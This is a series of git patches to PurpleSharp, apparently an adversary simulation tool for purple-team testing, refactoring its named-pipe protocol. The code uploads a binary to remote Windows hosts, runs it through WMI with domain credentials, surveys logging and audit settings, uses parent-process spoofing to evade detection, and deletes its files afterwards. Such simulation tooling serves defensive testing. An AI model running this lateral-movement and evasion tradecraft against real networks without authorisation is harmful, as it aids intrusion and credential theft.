+ case "wef": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetWefSettings()))); + break; + case "pws": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetPwsLoggingSettings()))); + break; + case "ps": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetProcs()))); + break; + case "svcs": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetServices()))); + break; + case "cmdline": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetCmdlineAudittingSettings()))); + break; + case "all": + string results = Recon.GetAuditPolicy() + "\n" + Recon.GetWefSettings() + "\n" + Recon.GetPwsLoggingSettings()+"\n"+ Recon.GetProcs()+"\n"+ Recon.GetServices()+"\n"+ Recon.GetCmdlineAudittingSettings(); + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(results))); + break; + default: + break; + } + sim_response = new SimulationResponse("SYN/ACK", null, scout_response); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object")); + running = false; + + } + + else if (sim_request.header.Equals("SYN")) { logger.TimestampInfo("Received SYN"); - PlaybookToSend = sim_request.playbook; + PlaybookForSimulator = sim_request.playbook; ReconResponse recon_response; if (sim_request.recon_type.Equals("privileged")) privileged = true; parentprocess = Recon.GetHostProcess(privileged); @@ -276,7 +315,7 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n else if (sim_request.header.Equals("ACT")) { logger.TimestampInfo("Received ACT"); - if (PlaybookToSend.opsec.Equals("ppid")) + if (PlaybookForSimulator.opsec.Equals("ppid")) { logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); @@ -289,9 +328,9 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); //logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); - logger.TimestampInfo("Sending Simulation Playbook to Simulation Agent through namedpipe: " + PlaybookToSend.simulator_relative_path); + logger.TimestampInfo("Sending Simulation Playbook to Simulation Agent through namedpipe: " + PlaybookForSimulator.simulator_relative_path); - byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", "", PlaybookToSend))); + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", "", PlaybookForSimulator))); string result = NamedPipes.RunNoAuthClientSerialized(simulator_np, bytes_sim_rqeuest); logger.TimestampInfo("Received back from Simulator " + result); } @@ -391,9 +430,10 @@ public static string[] RunSimulationService(string npipe, string log) public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, string log) { - SimulationPlaybook playbook = new SimulationPlaybook(); string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); + + SimulationPlaybook playbook = new SimulationPlaybook(); try { //https://helperbyte.com/questions/171742/how-to-connect-to-a-named-pipe-without-administrator-rights @@ -421,8 +461,9 @@ public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, st return playbook; } } - catch + catch(Exception ex) { + logger.TimestampInfo(ex.Message); return playbook; } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 315b191..1feed7a 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -1,14 +1,12 @@ -using System; +using Newtonsoft.Json; +using PurpleSharp.Lib; +using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading; -using PurpleSharp.Lib; -using Newtonsoft.Json; -using System.Threading.Tasks; -using System.Management.Automation.Language; namespace PurpleSharp { @@ -31,12 +29,9 @@ ____ __ _____ __ Console.WriteLine("\t\t\tby Mauricio Velazco (@mvelazco)"); Console.WriteLine(); Console.WriteLine("\t\t\thttps://github.com/mvelazc0/PurpleSharp"); - Console.WriteLine("\t\t\thttps://purplesharp.readthedocs.io"); + Console.WriteLine("\t\t\thttps://www.purplesharp.com"); Console.WriteLine(); } - - - public static void Main(string[] args) { bool cleanup, opsec, verbose, scoutservice, simservice, newchild, scout, remote, navigator; @@ -159,7 +154,7 @@ public static void Main(string[] args) } - config_params = new CommandlineParameters(scoutfpath, simrpath, rhost, ruser, rpwd, domain, techniques, dc, scout_np, simulator_np, log, variation, pbsleep, tsleep, cleanup, opsec, verbose); + config_params = new CommandlineParameters(scoutfpath, simrpath, rhost, ruser, rpwd, domain, techniques, dc, scout_action, scout_np, simulator_np, log, variation, pbsleep, tsleep, cleanup, opsec, verbose); //// Handling Internal Parameters //// if (newchild) @@ -246,12 +241,14 @@ public static void Main(string[] args) { Console.Write("Password for {0}\\{1}: ", domain, ruser); rpwd = Utils.GetPassword(); + config_params.remote_password = rpwd; Console.WriteLine(); } if (!rhost.Equals("random")) { - Scout(rhost, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); + RunScoutEnumeration(config_params); + //Scout(rhost, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); return; } else if (!dc.Equals("")) @@ -265,7 +262,9 @@ public static void Main(string[] args) var random = new Random(); int index = random.Next(targets.Count); Console.WriteLine("[+] Picked Random host for simulation: " + targets[index].Fqdn); - Scout(targets[index].ComputerName, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); + config_params.remote_host = targets[index].ComputerName; + RunScoutEnumeration(config_params); + //Scout(targets[index].ComputerName, domain, ruser, rpwd, scoutfpath, log, scout_action, scout_np, verbose); return; } else @@ -327,7 +326,7 @@ public static void Main(string[] args) else if (engagement.type.Equals("remote")) { Console.Write("Submit Password for {0}\\{1}: ", engagement.domain, engagement.username); - string pass = Utils.GetPassword(); + engagement.password = Utils.GetPassword(); Console.WriteLine("[+] PurpleSharp will execute {0} playbook(s)", engagement.playbooks.Count); SimulationExerciseResult engagementResults = new SimulationExerciseResult(); @@ -351,7 +350,7 @@ public static void Main(string[] args) string techs2 = String.Join(",", techs); if (playbook.remote_host.Equals("random")) { - List targets = Ldap.GetADComputers(10, logger, engagement.dc, engagement.username, pass); + List targets = Ldap.GetADComputers(10, logger, engagement.domain_controller, engagement.username, engagement.password); if (targets.Count > 0) { Console.WriteLine("[+] Obtained {0} possible targets.", targets.Count); @@ -359,7 +358,8 @@ public static void Main(string[] args) int index = random.Next(targets.Count); Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); - playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, log); + //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; } @@ -369,7 +369,8 @@ public static void Main(string[] args) else { Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.remote_host); - playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, log); + //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; } @@ -569,6 +570,58 @@ public static void Scout(string rhost, string domain, string ruser, string rpwd, RemoteLauncher.delete(scoutFolder + log, rhost, ruser, rpwd, domain); } } + public static void RunScoutEnumeration(CommandlineParameters cmd_params) + { + List actions = new List() { "all", "wef", "pws", "ps", "svcs", "auditpol", "cmdline" }; + string result = ""; + + if (!actions.Contains(cmd_params.scout_action)) + { + Console.WriteLine("[*] Not supported."); + Console.WriteLine("[*] Exiting"); + return; + } + string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; + int index = cmd_params.scout_full_path.LastIndexOf(@"\"); + string scoutFolder = cmd_params.scout_full_path.Substring(0, index + 1); + string args = "/o"; + + Console.WriteLine("[+] Uploading Scout to {0} on {1}", cmd_params.scout_full_path, cmd_params.remote_host); + RemoteLauncher.upload(uploadPath, cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + + Console.WriteLine("[+] Executing the Scout via WMI ..."); + RemoteLauncher.wmiexec(cmd_params.remote_host, cmd_params.scout_full_path, args, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password); + Console.WriteLine("[+] Connecting to the Scout ..."); + + SimulationRequest sim_request = new SimulationRequest("SCT", cmd_params.scout_action); + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.scout_namepipe, bytes_sim_rqeuest); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + + if (sim_response.header.Equals("SYN/ACK")) + { + Console.WriteLine("[+] OK"); + string results = Encoding.UTF8.GetString(Convert.FromBase64String(sim_response.scout_response.results)); + if (cmd_params.verbose) + { + Console.WriteLine("[+] Grabbing the Scout output..."); + System.Threading.Thread.Sleep(1000); + string sresults = RemoteLauncher.readFile(cmd_params.remote_host, scoutFolder + cmd_params.log_filename, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(sresults); + } + Console.WriteLine("[+] Scout Results..."); + Console.WriteLine(); + Console.WriteLine(results); + Console.WriteLine(); + Console.WriteLine("[+] Cleaning up..."); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); + RemoteLauncher.delete(cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + Console.WriteLine("[+] Deleting " + @"\\" + cmd_params.remote_host + @"\" + (scoutFolder + cmd_params.log_filename).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + cmd_params.log_filename, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); + } + } public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_params) { // techniques that need to be executed from a high integrity process @@ -749,7 +802,7 @@ public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_p } } } - public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(string rhost, string domain, string ruser, string rpwd, string scout_np, SimulationPlaybook playbook, string log, bool verbose) + public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized_old(string rhost, string domain, string ruser, string rpwd, string scout_np, SimulationPlaybook playbook, string log, bool verbose) { // techniques that need to be executed from a high integrity process string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; @@ -871,6 +924,128 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(str return Json.GetPlaybookResult(results); } } + public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(SimulationExercise exercise, SimulationPlaybook playbook, string scout_np, string log) + { + // techniques that need to be executed from a high integrity process + string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; + + string uploadPath = System.Reflection.Assembly.GetEntryAssembly().Location; + int index = playbook.scout_full_path.LastIndexOf(@"\"); + string scoutFolder = playbook.scout_full_path.Substring(0, index + 1); + Thread.Sleep(3000); + + if (playbook.opsec.Equals("ppid")) + { + string result = ""; + string args = "/o"; + + //Console.WriteLine("[+] Uploading Scout to {0} on {1}", scoutfpath, rhost); + RemoteLauncher.upload(uploadPath, playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + + //Console.WriteLine("[+] Executing the Scout via WMI ..."); + RemoteLauncher.wmiexec(playbook.remote_host, playbook.scout_full_path, args, exercise.domain, exercise.username, exercise.password); + //Console.WriteLine("[+] Connecting to namedpipe service ..."); + + SimulationRequest sim_request = new SimulationRequest("SYN", "regular", playbook); + //if (privileged_techniques.Contains(techniques.ToUpper())) sim_request.recon_type = "privileged"; + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request)); + result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, scout_np, bytes_sim_rqeuest); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + + + + if (sim_response.header.Equals("SYN/ACK")) + { + //Console.WriteLine("[+] OK"); + string duser = sim_response.recon_response.user; + if (duser == "") + { + + Console.WriteLine("[!] Could not identify a suitable process for the simulation. Is a user logged in on: " + playbook.remote_host + "?"); + sim_request = new SimulationRequest("FIN"); + result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); + Thread.Sleep(1000); + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + //Console.WriteLine("[!] Exitting."); + return null; + } + else + { + string user = duser.Split('\\')[1]; + string simfpath = "C:\\Users\\" + user + "\\" + playbook.simulator_relative_path; + int index2 = playbook.simulator_relative_path.LastIndexOf(@"\"); + string simrfolder = playbook.simulator_relative_path.Substring(0, index2 + 1); + + string simfolder = "C:\\Users\\" + user + "\\" + simrfolder; + + //Console.WriteLine("[+] Uploading Simulator to " + simfpath); + RemoteLauncher.upload(uploadPath, simfpath, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + + //Console.WriteLine("[+] Triggering simulation using PPID Spoofing | Process: {0}.exe | PID: {1} | High Integrity: {2}", sim_response.recon_response.process, sim_response.recon_response.process_id, sim_response.recon_response.process_integrity); + sim_request = new SimulationRequest("ACT"); + result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, scout_np, Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_request))); + + System.Threading.Thread.Sleep(5000); + bool finished = false; + int counter = 1; + string results = RemoteLauncher.readFile(playbook.remote_host, simfolder + log, exercise.username, exercise.password, exercise.domain); + while (finished == false) + { + if (results.Split('\n').Last().Contains("Playbook Finished")) + { + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + Console.WriteLine(); + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(simfpath, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(simfolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + finished = true; + } + else + { + Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); + Thread.Sleep(counter * 10 * 1000); + results = RemoteLauncher.readFile(playbook.remote_host, simfolder + log, exercise.username, exercise.password, exercise.domain); + } + counter += 1; + } + return Json.GetPlaybookResult(results); + + } + } + else + { + //Console.WriteLine("[!] Could not connect to namedpipe service"); + return null; + } + } + else + { + //Console.WriteLine("[+] Uploading PurpleSharp to {0} on {1}", scoutfpath, rhost); + RemoteLauncher.upload(uploadPath, playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + + string cmdline = "/t ";// + techniques; + //Console.WriteLine("[+] Executing PurpleSharp via WMI ..."); + RemoteLauncher.wmiexec(playbook.remote_host, playbook.scout_full_path, cmdline, exercise.domain, exercise.username, exercise.password); + Thread.Sleep(3000); + Console.WriteLine("[+] Obtaining results..."); + string results = RemoteLauncher.readFile(playbook.remote_host, scoutFolder + log, exercise.username, exercise.password, exercise.domain); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + //Console.WriteLine("[+] Cleaning up..."); + //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + // + //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); + RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + + return Json.GetPlaybookResult(results); + } + } public static void ExecutePlaybookTechnique(PlaybookTask task, string log) { var rand = new Random(); From 770010d9b3463a282f915a1da92b466a7bd156e2 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Wed, 7 Apr 2021 23:47:54 -0400 Subject: [PATCH 09/20] orchestrator-to-simulator serialized comms --- PurpleSharp/Lib/NamedPipes.cs | 3 +- PurpleSharp/Program.cs | 83 +++++++++++++++++++++++++---------- 2 files changed, 63 insertions(+), 23 deletions(-) diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index 321f006..c2e35bc 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -244,6 +244,7 @@ public static void RunScoutServiceSerialized(string scout_np, string simulator_n SimulationRequest sim_request = JsonConvert.DeserializeObject(line); ScoutResponse scout_response = null; + // Scout recon actions if (sim_request.header.Equals("SCT")) { logger.TimestampInfo("Received SCT"); @@ -378,7 +379,6 @@ private static byte[] ReadMessage(PipeStream pipe) } } - public static string[] RunSimulationService(string npipe, string log) { string[] result = new string[5]; @@ -457,6 +457,7 @@ public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, st sim_response = new SimulationResponse("ACK"); byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo("Replied to client: " + Encoding.UTF8.GetString(bytes_sim_response)); pipeServer.Disconnect(); return playbook; } diff --git a/PurpleSharp/Program.cs b/PurpleSharp/Program.cs index 1feed7a..a69f7da 100644 --- a/PurpleSharp/Program.cs +++ b/PurpleSharp/Program.cs @@ -358,7 +358,7 @@ public static void Main(string[] args) int index = random.Next(targets.Count); Console.WriteLine("[+] Picked random host for simulation: " + targets[index].Fqdn); Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, targets[index].Fqdn); - playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, log); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np, log); //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass, scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; @@ -369,7 +369,7 @@ public static void Main(string[] args) else { Console.WriteLine("[+] Executing techniques {0} against {1}", techs2, playbook.remote_host); - playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, log); + playbookResults = ExecuteRemoteTechniquesJsonSerialized(engagement, playbook, scout_np, simulator_np,log); //playbookResults = ExecuteRemoteTechniquesJsonSerialized(playbook.remote_host, engagement.domain, engagement.username, pass,scout_np, playbook, log, false); if (playbookResults == null) continue; playbookResults.name = playbook.name; @@ -390,7 +390,6 @@ public static void Main(string[] args) Console.WriteLine(); return; } - } else { @@ -638,7 +637,7 @@ public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_p int index = cmd_params.scout_full_path.LastIndexOf(@"\"); string scoutFolder = cmd_params.scout_full_path.Substring(0, index + 1); - System.Threading.Thread.Sleep(3000); + Thread.Sleep(3000); if (cmd_params.opsec) { @@ -650,24 +649,19 @@ public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_p RemoteLauncher.wmiexec(cmd_params.remote_host, cmd_params.scout_full_path, args, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password); Console.WriteLine("[+] Connecting to the Scout ..."); - - SimulationPlaybook playbook = new SimulationPlaybook(); List tasks = new List(); - if (cmd_params.techniques.Contains(",")) { string[] techs = cmd_params.techniques.Split(','); for (int i = 0; i < techs.Length; i++) { tasks.Add(new PlaybookTask(techs[i], cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); - } } else { tasks.Add(new PlaybookTask(cmd_params.techniques, cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); - } playbook.tasks = tasks; playbook.simulator_relative_path = cmd_params.simulator_relative_path; @@ -762,15 +756,35 @@ public static void ExecuteRemoteTechniquesSerialized(CommandlineParameters cmd_p return; } } + // No Opsec else { Console.WriteLine("[+] Uploading and executing the Simulator on {0} ", @"\\" + cmd_params.remote_host + @"\" + cmd_params.scout_full_path.Replace(":", "$")); RemoteLauncher.upload(uploadPath, cmd_params.scout_full_path, cmd_params.remote_host, cmd_params.remote_user, cmd_params.remote_password, cmd_params.domain); RemoteLauncher.wmiexec(cmd_params.remote_host, cmd_params.scout_full_path, "/s", cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password); Thread.Sleep(2000); - if (cmd_params.cleanup) NamedPipes.RunClient(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.simulator_namedpipe, "technique:" + cmd_params.techniques + " variation:" + cmd_params.variation.ToString() + " pbsleep:" + cmd_params.playbook_sleep.ToString() + " tsleep:" + cmd_params.task_sleep.ToString() + " cleanup:True"); - else NamedPipes.RunClient(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.simulator_namedpipe, "technique:" + cmd_params.techniques + " variation:" + cmd_params.variation.ToString() + " pbsleep:" + cmd_params.playbook_sleep.ToString() + " tsleep:" + cmd_params.task_sleep.ToString() + " cleanup:False"); + SimulationPlaybook playbook = new SimulationPlaybook(); + List tasks = new List(); + if (cmd_params.techniques.Contains(",")) + { + string[] techs = cmd_params.techniques.Split(','); + for (int i = 0; i < techs.Length; i++) + { + tasks.Add(new PlaybookTask(techs[i], cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); + } + } + else + { + tasks.Add(new PlaybookTask(cmd_params.techniques, cmd_params.variation, cmd_params.task_sleep, cmd_params.cleanup)); + } + playbook.tasks = tasks; + playbook.simulator_relative_path = cmd_params.simulator_relative_path; + playbook.playbook_sleep = cmd_params.playbook_sleep; + + byte[] bytes_sim_request = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", "", playbook))); + string result = NamedPipes.RunClientSerialized(cmd_params.remote_host, cmd_params.domain, cmd_params.remote_user, cmd_params.remote_password, cmd_params.simulator_namedpipe, bytes_sim_request); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); Thread.Sleep(5000); bool finished = false; int counter = 1; @@ -924,7 +938,7 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized_old return Json.GetPlaybookResult(results); } } - public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(SimulationExercise exercise, SimulationPlaybook playbook, string scout_np, string log) + public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(SimulationExercise exercise, SimulationPlaybook playbook, string scout_np, string simulator_np, string log) { // techniques that need to be executed from a high integrity process string[] privileged_techniques = new string[] { "T1003.001", "T1136.001", "T1070.001", "T1543.003", "T1546.003" }; @@ -1022,29 +1036,54 @@ public static SimulationPlaybookResult ExecuteRemoteTechniquesJsonSerialized(Sim return null; } } + // No Opsec else { //Console.WriteLine("[+] Uploading PurpleSharp to {0} on {1}", scoutfpath, rhost); RemoteLauncher.upload(uploadPath, playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); - string cmdline = "/t ";// + techniques; + //Console.WriteLine("[+] Executing PurpleSharp via WMI ..."); - RemoteLauncher.wmiexec(playbook.remote_host, playbook.scout_full_path, cmdline, exercise.domain, exercise.username, exercise.password); + RemoteLauncher.wmiexec(playbook.remote_host, playbook.scout_full_path, "/s", exercise.domain, exercise.username, exercise.password); Thread.Sleep(3000); - Console.WriteLine("[+] Obtaining results..."); + byte[] bytes_sim_request = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", "", playbook))); + string result = NamedPipes.RunClientSerialized(playbook.remote_host, exercise.domain, exercise.username, exercise.password, simulator_np, bytes_sim_request); + SimulationResponse sim_response = JsonConvert.DeserializeObject(result); + + Thread.Sleep(5000); + bool finished = false; + int counter = 1; string results = RemoteLauncher.readFile(playbook.remote_host, scoutFolder + log, exercise.username, exercise.password, exercise.domain); - Console.WriteLine("[+] Results:"); - Console.WriteLine(); - Console.WriteLine(results); - //Console.WriteLine("[+] Cleaning up..."); - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + scoutfpath.Replace(":", "$")); + while (finished == false) + { + + if (results.Split('\n').Last().Contains("Playbook Finished")) + { + Console.WriteLine("[+] Obtaining results..."); + Console.WriteLine("[+] Results:"); + Console.WriteLine(); + Console.WriteLine(results); + Console.WriteLine(); + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); + finished = true; + } + else + { + Console.WriteLine("[+] Not finished. Waiting an extra {0} seconds", counter * 10); + Thread.Sleep(counter * 10 * 1000); + results = RemoteLauncher.readFile(playbook.remote_host, scoutFolder + log, exercise.username, exercise.password, exercise.domain); + } + counter += 1; + } + RemoteLauncher.delete(playbook.scout_full_path, playbook.remote_host, exercise.username, exercise.password, exercise.domain); - // - //Console.WriteLine("[+] Deleting " + @"\\" + rhost + @"\" + (scoutFolder + log).Replace(":", "$")); RemoteLauncher.delete(scoutFolder + log, playbook.remote_host, exercise.username, exercise.password, exercise.domain); return Json.GetPlaybookResult(results); } + + } public static void ExecutePlaybookTechnique(PlaybookTask task, string log) { From f10d3a6a6e90db76d5dcd144171895ff4bee1d79 Mon Sep 17 00:00:00 2001 From: mvelazco Date: Wed, 7 Apr 2021 23:55:09 -0400 Subject: [PATCH 10/20] removing deprecated functions still using legacy namedpipe protocol --- PurpleSharp/Lib/NamedPipes.cs | 294 +--------------------------------- PurpleSharp/Program.cs | 207 ------------------------ 2 files changed, 4 insertions(+), 497 deletions(-) diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index c2e35bc..9972dc1 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -14,207 +14,10 @@ namespace PurpleSharp.Lib { class NamedPipes { - - //Based on https://github.com/malcomvetter/NamedPipes - public static void RunScoutService(string scout_np, string simulator_np, string log) - { - string currentPath = AppDomain.CurrentDomain.BaseDirectory; - Logger logger = new Logger(currentPath + log); - bool running = true; - bool privileged = false; - - string technique, opsec, simpfath, simrpath, duser, user, simbinary, cleanup; - technique = opsec = simpfath = simrpath = duser = user = simbinary = cleanup = ""; - Process parentprocess = null; - int pbsleep, tsleep, variation; - pbsleep = tsleep = 0; - variation = 1; - System.Threading.Thread.Sleep(1500); - - try - { - using (var pipeServer = new NamedPipeServerStream(scout_np, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) - { - logger.TimestampInfo("Starting scout namedpipe service with PID:"+ Process.GetCurrentProcess().Id); - while (running) - { - var reader = new StreamReader(pipeServer); - var writer = new StreamWriter(pipeServer); - - //logger.TimestampInfo("Waiting for client connection..."); - pipeServer.WaitForConnection(); - //logger.TimestampInfo("Client connected!"); - - var line = reader.ReadLine(); - - logger.TimestampInfo("Received from client: " + line); - - if (line.ToLower().Equals("syn")) - { - //logger.TimestampInfo("sending back to client: " + "SYN/ACK"); - writer.WriteLine("SYN/ACK"); - writer.Flush(); - } - else if (line.ToLower().Equals("auditpol")) - { - writer.WriteLine(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetAuditPolicy()))); - writer.Flush(); - } - else if (line.ToLower().Equals("wef")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetWefSettings()))); - writer.Flush(); - } - else if (line.ToLower().Equals("pws")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetPwsLoggingSettings()))); - writer.Flush(); - } - else if (line.ToLower().Equals("ps")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetProcs()))); - writer.Flush(); - } - else if (line.ToLower().Equals("svcs")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetServices()))); - writer.Flush(); - } - else if (line.ToLower().Equals("cmdline")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetCmdlineAudittingSettings()))); - writer.Flush(); - } - - else if (line.ToLower().StartsWith("recon:")) - { - string payload = ""; - if (line.Replace("recon:", "").Equals("privileged")) privileged = true; - parentprocess = Recon.GetHostProcess(privileged); - if (parentprocess != null && Recon.GetExplorer() != null) - { - duser = Recon.GetProcessOwnerWmi(Recon.GetExplorer()); - user = duser.Split('\\')[1]; - 